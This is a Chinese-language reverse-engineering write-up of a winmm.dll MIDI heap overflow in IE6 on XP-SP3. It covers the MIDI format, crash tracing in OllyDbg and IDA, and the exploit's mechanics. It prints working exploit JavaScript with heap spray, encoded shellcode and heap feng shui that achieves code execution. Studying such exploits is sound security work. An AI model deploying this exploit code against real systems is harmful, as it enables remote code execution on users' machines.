作者:黑蛋

一、漏洞简介 这次漏洞属于堆溢出漏洞,他是MIDI文件中存在的堆溢出漏洞。在IE6,IE7,IE8中都存在这个漏洞。而这个漏洞是Winmm.dll中产生的。

二、漏洞环境 虚拟机

调试工具

目标软件

辅助工具

XP-SP3、Kali

OD、IDA

IE6

Windbg组件gflags.exe

三、MIDI文件简介 MIDI文件属于二进制文件,这种文件一般都有如下基本结构:文件头+数据描述 文件头一般包括文件的类型,因为Midi文件仅以。mid为扩展名的就有0类和1类两种,而大家熟悉的位图文件的格式就更多了,所以才会出现文件头这种东西。他通过Winmm.dll解析这种文件之后可以播出音乐。 结构图如下:

块名称

块标记(四字节)

块长度(四字节)

块数据

头块

“MThd”

00000006

6字节长度

音轨块1

“MTrk”

后面块数据长度

音轨事件数据

...

...

...

...

音轨块n

“MTrk”

后面块数据长度

音轨事件数据

头结构:

偏移

长度

描述

数值

0x00

4

块标记

“MThd”

0x04

4

块长度

00000006

0x08

2

格式类型

0~2

0x10

2

音轨数

1~65535

0x12

2

每拍的计数值

0x60为八分一拍

音轨事件:

事件类型

格式

描述

关闭音符(Note Off)

0x8n note velocity

n 代表通道号,note 代表高音数值,velocity 代表按键速度

打开音符(Note On)

0x9n note velocity

n 代表通道号,note 代表高音数值,velocity 代表按键速度

触后音符(Note Aftertouch)

0xAn note amount

n 代表通道号,note 代表高音数值,amount 代表按压力度

控制器(Controler)

0xBn type value

n 代表通道号,note 代表控制项(如主音、延音等音量大小的调节),value 即为设置值

音色切换(Program Change)

0xCn num

n 代表通道号,num 代表音色号

触后通道(Channel Afertouch)

0xCn note amount

n 代表通道号,note 代表高音数值,amount 代表按压力度

滑音(Pitch Bend)

0xEn LSB MSB

n 代表通道号,LSB 代表低位值,MSB 代表高位值

四、漏洞复现 使用MSF生成exp:

使用箭头指向的链接地址,在XP-SP3中使用IE打开:

五、漏洞溯源 首先通过Windbg中一个组件gflags.exe开启IE页堆保护:

接下来找一个mid文件,或者用以下命令在kali中下载:

wget --user-agent "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" http://127.0.0.1:8080/+mid相对路径

然后用IE继续打开之前拷贝的链接地址,出现错误,右键页面打开源文件,修改mid文件位置为绝对路径,之后另存为html文件,把mid文件放相同目录下(这样可以让winmm.dll解析mid文件触发漏洞):

接下来打开IE,再打开OD附加IE,随后拖拽1.html到IE中,在IE上方选择允许运行,断在了溢出位置:

查看各模块基址,可以发现溢出点76B2D224属于winmm.dll,随后找到此动态链接库,拖到IDA中,找到76B2D224,F5反汇编:

接下来分析这段代码,看看v26来源:

void __stdcall sub_76B2D038(int a1) { int v1; // edi@1 int v2; // esi@2 int v3; // ecx@5 int v4; // eax@5 bool v5; // zf@5 bool v6; // sf@5 unsigned __int8 v7; // of@5 int v8; // edx@6 int v9; // ebx@6 int v10; // ST18_4@6 unsigned int v11; // ecx@6 unsigned int v12; // eax@6 int v13; // ecx@6 unsigned __int8 v14; // al@9 signed int v15; // eax@14 int v16; // ebx@16 int v17; // esi@18 int v18; // eax@18 int v19; // ST18_4@25 int v20; // esi@26 unsigned __int8 v21; // al@27 unsigned int v22; // ebx@28 __int64 v23; // rax@32 int v24; // eax@32 int v25; // esi@34 char v26; // al@34 char v27; // dl@34 char v28; // al@36 int v29; // edx@40 char v30; // al@40 char v31; // al@42 int v32; // [sp+4h] [bp-14h]@6 int v33; // [sp+8h] [bp-10h]@6 int v34; // [sp+Ch] [bp-Ch]@6 int v35; // [sp+10h] [bp-8h]@6 char v36; // [sp+17h] [bp-1h]@30 int v37; // [sp+20h] [bp+8h]@5 signed int v38; // [sp+20h] [bp+8h]@17 char v39; // [sp+23h] [bp+Bh]@6 unsigned __int8 v40; // [sp+23h] [bp+Bh]@28

v1 = a1; if ( !*(_DWORD *)(a1 + 52) ) { while ( 1 ) { while ( 1 ) { v2 = *(_DWORD *)(v1 + 60); if ( !v2 ) return; if ( sub_76B2CA8A(v1) ) break; sub_76B2CAC7(v1); } v3 = *(_DWORD *)v2; v4 = *(_DWORD *)(v1 + 124) + *(_DWORD )((_DWORD *)v2 + *(_DWORD *)(v2 + 36)); v7 = OFSUB(v4, *(_DWORD *)(v1 + 128)); v5 = v4 == *(_DWORD *)(v1 + 128); v6 = v4 - *(_DWORD *)(v1 + 128) < 0; v37 = *(_DWORD *)v2; *(_DWORD *)(v1 + 116) = v4; if ( !((unsigned __int8)(v6 ^ v7) | v5) ) return; v8 = *(_DWORD *)(v2 + 36); *(_DWORD *)(v1 + 124) = v4; *(_DWORD *)(v2 + 36) += 4; v9 = *(_DWORD *)(v2 + 36); v10 = *(_DWORD *)(v9 + v3); v9 += 4; v33 = v8; v32 = v10; *(_DWORD *)(v2 + 36) = v9; v34 = sub_76B2C7F7(v1, v10); v11 = *(_DWORD *)(v9 + v37); *(_DWORD *)(v2 + 36) = v9 + 4; v12 = v11 >> 24; v13 = v11 & 0xFFFFFF; v39 = v12; v35 = v13; if ( v34 && v12 & 0x40 ) { *(_DWORD )(v2 + 28) = v33; DriverCallback((_DWORD *)(v1 + 68), *(_WORD *)(v1 + 74), *(_DWORD *)(v1 + 4), 970, *(_DWORD *)(v1 + 76), v2, 0); LOBYTE(v12) = v39; v13 = v35; } v14 = v12 & 0xBF; if ( v14 ) { if ( v14 == 1 ) { v19 = *(_DWORD *)(v1 + 124); *(_DWORD *)(v1 + 48) = v13; sub_76B2CA24(v1, v19); } else if ( v14 == 128 ) { *(_DWORD *)(v2 + 36) += (v13 + 3) & 0xFFFFFFFC; v15 = 1; if ( v32 == -1 ) v15 = *(_DWORD *)(v1 + 140); v16 = *(_DWORD *)(v2 + 24); *(_DWORD *)(v1 + 136) = 0; *(_DWORD *)(v1 + 8) |= 0x20u; *(_DWORD *)(v1 + 52) = 1; if ( v15 ) { v38 = v15; do { v17 = *(_DWORD *)(v16 + 4); *(_DWORD *)(v16 + 4) = v17 + 64; v18 = sub_76B2C7F7(v1, *(_DWORD )(v17 + 32)); if ( v18 && !midiOutLongMsg(v18, v17, 64) ) ++(_DWORD )(v1 + 136); --v38; } while ( v38 ); } if ( !(_DWORD *)(v1 + 136) ) *(_DWORD *)(v1 + 52) = 0; *(_DWORD *)(v1 + 8) &= 0xFFFFFFDF; } else if ( (v14 & 0x80u) != 0 ) { *(_DWORD *)(v2 + 36) += (v13 + 3) & 0xFFFFFFFC; } goto LABEL_48; } v20 = *(_DWORD *)(v1 + 132); if ( v34 ) break; do { LABEL_48: if ( sub_76B2CA8A(v1) ) break; sub_76B2CAC7(v1); } while ( *(_DWORD *)(v1 + 60) ); if ( *(_DWORD *)(v1 + 52) ) return; } v21 = v13; if ( (char)v13 < 0 ) { *(_BYTE *)(v1 + 84) = v13; v40 = BYTE1(v13); v22 = (unsigned int)v13 >> 16; } else { v21 = *(_BYTE *)(v1 + 84); v40 = v13; v22 = (unsigned int)v13 >> 8; v13 = v21 | (v13 << 8); } v36 = v21 & 0xF0; if ( (v21 & 0xF0) == -112 || (v21 & 0xF0) == -128 ) { v23 = v40 + ((v21 & 0xF) << 7); v24 = ((signed int)v23 - HIDWORD(v23)) >> 1; if ( v36 == -128 || !(_BYTE)v22 ) { v29 = v24 + v20; v30 = *(_BYTE *)(v24 + v20); if ( v40 & 1 ) { if ( !(v30 & 0xF0) ) goto LABEL_46; v31 = v30 - 16; } else { if ( !(v30 & 0xF) ) goto LABEL_46; v31 = v30 - 1; } *(_BYTE *)v29 = v31; goto LABEL_46; } v25 = v24 + v20; v26 = *(_BYTE *)v25; // 这里 v27 = *(_BYTE *)v25; if ( v40 & 1 ) { if ( (v27 & 0xF0) != -16 ) { v28 = v26 + 16; LABEL_39: *(_BYTE *)v25 = v28; goto LABEL_46; } } else if ( (v27 & 0xF) != 15 ) { v28 = v26 + 1; goto LABEL_39; } } LABEL_46: midiOutShortMsg(v34, v13); goto LABEL_48; } }

根据分析,可以得到以下几个局部变量和寄存机关系以及相对于的地址:

V1 = edi 76B2D050 V2 = esi 76B2D06D v9 = ebx 76B2D0B5 V11= ecx 76B2D0C3 V13= ecx 76B2D0D1 V20 = esi 76B2D248 V21 = dl 76B2D1F3 V24= eax 76B2D21E a1 = edi 76B2D044

在OD附加IE后,运行起来,找到以上地址下条件断点:

然后跑起来,拖入1.html,到达溢出点,Alt+L查看日志:

可以发现在溢出前,v11=v13=007DB29F,是在相应位置下条件断点:

随后拖入1.html,断在了断点处,溢出点是读取ESI位置出现异常,我们向上观察ESI的值的来源,76B2D21E处是ADD ESI,EAX:

回到IDA中,对ESI溯源:

发现v20的值来源于参数a1+132;找a1的来源,看函数引用:

继续找v6:

继续找v7,正好可以看到v7+132的值:

继续跟进去sub_76B2B29D:

综上,可以看到ESI的值指向一个1024(0x400)字节的堆空间,返回到溢出位置,ESI+0x419超出0x400,所以造成溢出。

五、漏洞利用 首先我们对exp中的JS代码进行提取:

//堆喷射技术 var heap_obj = new heapLib.ie(0x10000); var code = unescape("%ufcf5%u40f5%u92d6%u9840%u4f48%ufcfd%u9f48%u4943%u4692%u274f%u9146%ud697%u4347%u4f41%u9143%u464b%u9949%ufc49%u379b%u46f5%ud64b%u90fc%uf941%u9b4f%ufd4b%u4f9f%u904b%u9949%u439f%u9049%ufd91%u93fc%u9b46%u2f43%u4891%u3798%ufcfc%u46d6%u4e4f%u4a92%uf5f8%u2799%u4b40%u99f5%u4e4f%u4af5%u4040%u2f43%uf597%uf537%u424f%uf93f%u4747%u924b%u2746%u979f%u933f%u97fd%u4841%u9948%u9098%u9246%u9892%u2f47%u4191%u429b%u2f49%u9991%u9ffd%u4147%u999f%u48fd%u373f%uf99f%ud6f5%u49f5%u434a%u479f%ufc96%u9940%u4f97%u989f%ufd49%u9941%u4627%u469b%u4398%u4840%u484a%u98fd%u9f93%u4940%u4a49%ud627%u48d6%u374a%uf942%uf590%u41fc%u274e%u9f41%u4f4f%uf537%u4147%ufc40%u434e%u373f%u912f%uf942%u479f%u4148%u9843%u404e%u3f4e%u4b49%u4296%ufdf5%u9692%uf597%uf996%u3f3f%u974f%uf998%u484a%u9792%u4149%u96fd%u9192%u4299%u414b%ufd3f%u9998%u91fd%u99f5%u4043%u4a93%u97f5%uf8fd%u934f%uf946%u48f9%u934b%u9f27%uf8f5%ufd4e%u4a47%u9f98%u97fc%u3f4f%u3743%ufc42%u993f%u37f9%ufc96%u9027%u4340%u9b98%u2f27%u494e%u9198%u91f8%u3796%ufcd6%ufd9b%uf947%ufcfd%u274b%u493f%u494b%u469f%uf9fd%ufc41%ufc40%u4846%u419b%ud690%u473f%u99fd%u9897%u912f%uf9fd%u439f%u9046%ufd92%u984b%u4691%u3ffd%u3f97%u434b%u2798%u9290%u46d6%u90f9%u373f%uf990%u3f96%ud6f8%u994f%u433f%ud69f%uf598%u424a%u4f48%u4ff5%uf59f%u4842%u2797%u43f8%u9742%u9f93%u2737%u993f%u93fc%u9648%ud64b%ufc90%ufd37%uf82f%u4a4e%u9bf9%uf8f5%u93fc%u9f40%u3f46%ufd4b%uf597%u2f37%u974e%u4896%u464b%u4398%uf9f8%u493f%u994b%u9b99%u9b27%u989f%u9149%u9349%u96d6%u4a99%u404b%u9f47%u2748%u91f8%u4849%u91f5%uf897%u469f%u4bfc%uf993%u42f8%u48f8%uf9d6%u43f8%u9bd6%ufd48%ufd98%u9f49%u419b%u919f%ufd4e%u4627%u419b%u3f4f%uf841%u4747%u989b%u4e48%u4e43%ufd3f%uf841%ufd49%u4191%u4e40%u4742%ufc90%ufd98%u2798%u9740%u414a%u494f%u379f%u3737%u494a%u43f9%u4647%u99d6%u42f9%u3797%u434f%u4e48%u9647%u9197%u939f%uf89b%ud6f8%u4647%u4f4a%u4a40%u92f8%u994a%u9b98%uf94b%u99f8%u929f%u9b47%u2749%ufc41%u9b9b%u422f%u919b%u4b4b%u973f%u4af9%u42f8%u933f%u424a%u9349%u9ff9%u9190%u4699%u412f%u4942%u90f5%u37fd%u4348%uf84a%uf9f5%u4696%u9299%u3ff5%ufd49%ud698%u9748%u4046%u92f5%ud640%u904b%ufc47%u4093%u9bd6%u489b%u49fd%u4b91%u9747%ufc27%u484a%u4e93%ufdfc%ufd41%u41f8%uf999%u9b4a%ud637%u9fd6%ufd48%u2f4b%u48d6%u47f5%u4143%u4b96%u4849%uf84b%u9340%uf541%u4a4f%ufd97%u4696%u274a%u929f%ufc37%u2748%u4a47%u9142%uf946%u2742%u9642%u3797%u46f5%u9b97%ufc99%u4893%u9992%u9148%ud690%uf998%u9191%u99fc%u4241%u2793%u4946%uf999%u4247%u984b%u27f5%u963f%u974a%u4f2f%u994e%u99d6%u9241%u374f%u3f2f%u4291%u4392%u274f%u9b98%u9b9b%u3ffd%u474b%uf948%u47f9%u9640%u43f5%ufc98%u82e8%u0000%u6000%ue589%uc031%u8b64%u3050%u528b%u8b0c%u1452%u728b%u0f28%u4ab7%u3126%uacff%u613c%u027c%u202c%ucfc1%u010d%ue2c7%u52f2%u8b57%u1052%u4a8b%u8b3c%u114c%ue378%u0148%u51d1%u598b%u0120%u8bd3%u1849%u3ae3%u8b49%u8b34%ud601%uff31%uc1ac%u0dcf%uc701%ue038%uf675%u7d03%u3bf8%u247d%ue475%u8b58%u2458%ud301%u8b66%u4b0c%u588b%u011c%u8bd3%u8b04%ud001%u4489%u2424%u5b5b%u5961%u515a%ue0ff%u5f5f%u8b5a%ueb12%u5d8d%u016a%u858d%u00b2%u0000%u6850%u8b31%u876f%ud5ff%uf0bb%ua2b5%u6856%u95a6%u9dbd%ud5ff%u063c%u0a7c%ufb80%u75e0%ubb05%u1347%u6f72%u006a%uff53%u63d5%u6c61%u2e63%u7865%u0065"); var DsMjWeAhGmSIMBoAvBknnercShPwpgoBVrnxZeQUReMTCxiUvuWILahMF = "%u0c0c%u0c0c"; var nops = unescape(DsMjWeAhGmSIMBoAvBknnercShPwpgoBVrnxZeQUReMTCxiUvuWILahMF);

while (nops.length < 0x1000) nops+= nops; var shellcode = nops.substring(0,0x800 - code.length) + code; while (shellcode.length < 0x40000) shellcode += shellcode;

var block = shellcode.substring(0, (0x80000-6)/2);

heap_obj.gc(); for (var i=0; i < 600; i++) { heap_obj.alloc(block); }

这一堆代码就是构造一堆0c0c0c0c+shellcode的堆喷射代码。

var heap = new heapLib.ie(); var selob = document.createElement("select") selob.w0 = unescape("%u0c0c%u0c0c") selob.w1 = alert selob.w2 = alert selob.w3 = alert selob.w4 = alert selob.w5 = alert selob.w6 = alert selob.w7 = alert selob.w8 = alert selob.w9 = alert selob.w10 = alert selob.w11 = alert selob.w12 = alert selob.w13 = alert selob.w14 = alert selob.w15 = alert selob.w16 = alert selob.w17 = alert selob.w18 = alert selob.w19 = alert selob.w20 = alert selob.w21 = alert selob.w22 = alert selob.w23 = alert selob.w24 = alert selob.w25 = alert selob.w26 = alert selob.w27 = alert selob.w28 = alert selob.w29 = alert selob.w30 = alert selob.w31 = alert selob.w32 = alert selob.w33 = alert selob.w34 = alert selob.w35 = alert selob.w36 = alert selob.w37 = alert selob.w38 = alert selob.w39 = alert selob.w40 = alert selob.w41 = alert selob.w42 = alert selob.w43 = alert selob.w44 = alert selob.w45 = alert selob.w46 = alert selob.w47 = alert selob.w48 = alert selob.w49 = alert selob.w50 = alert selob.w51 = alert selob.w52 = alert selob.w53 = alert selob.w54 = alert selob.w55 = alert

var clones = new Array(1000);

function feng_shui() { heap.gc();

var i = 0;
while (i < 1000) {
  clones[i] = selob.cloneNode(true)
  i = i + 1;
}

var j = 0;
while (j < 1000) {
  delete clones[j];
  CollectGarbage();
  j  = j + 2;
}

}

feng_shui();

function trigger(){ var k = 999; while (k > 0) { if (typeof(clones[k].w0) == "string") { } else { clones[k].w0('come on!'); } k = k - 2; } feng_shui(); document.audio.Play(); }

这一块是创建一个select元素,并设置第一个属性为String“0x0C0C0C0C”,其他55个为Object属性。随后创建一个1000字节数组在堆空间中,循坏拷贝selob到数组中,然后再在偶数位的数组释放堆空间。这样可以造成类似如下的堆空间:

这样空闲堆块前后都是我们自己的数据,而申请0x400有很大的概率落在我们这些堆块中间的空闲堆块中。然后在这里,String在内存中用0x08代表,Object用0x09代表。 最后调用 trigger()函数,是遍历数组元素,若属性是Object,就执行clones[k].w0('come on!'),而在这里会调用CAttrValue::GetIntoVariant函数,这个函数会获取续表指针,调用虚表函数。 这里是溢出点,在溢出点的时候AL=0x08,是String,而在代码下方箭头地址指向代码Al+1=0x09,后续调用Trigger函数,走到clones[k].w0('come on!'),而这个语句会调用虚表,每一个对象前四个字节都是虚表地址,及0C0C0C0C,从而走到我们构造的堆里面运行shellcode,下面是取消页堆,然后再溢出点下断点,走到下方AL+1的位置:

我们看一下堆喷地址0x0C0C0C0C:

这一块都是0C0C0C0C+shellcode,一直重复的地址。继续走,可以看到计算器被弹出: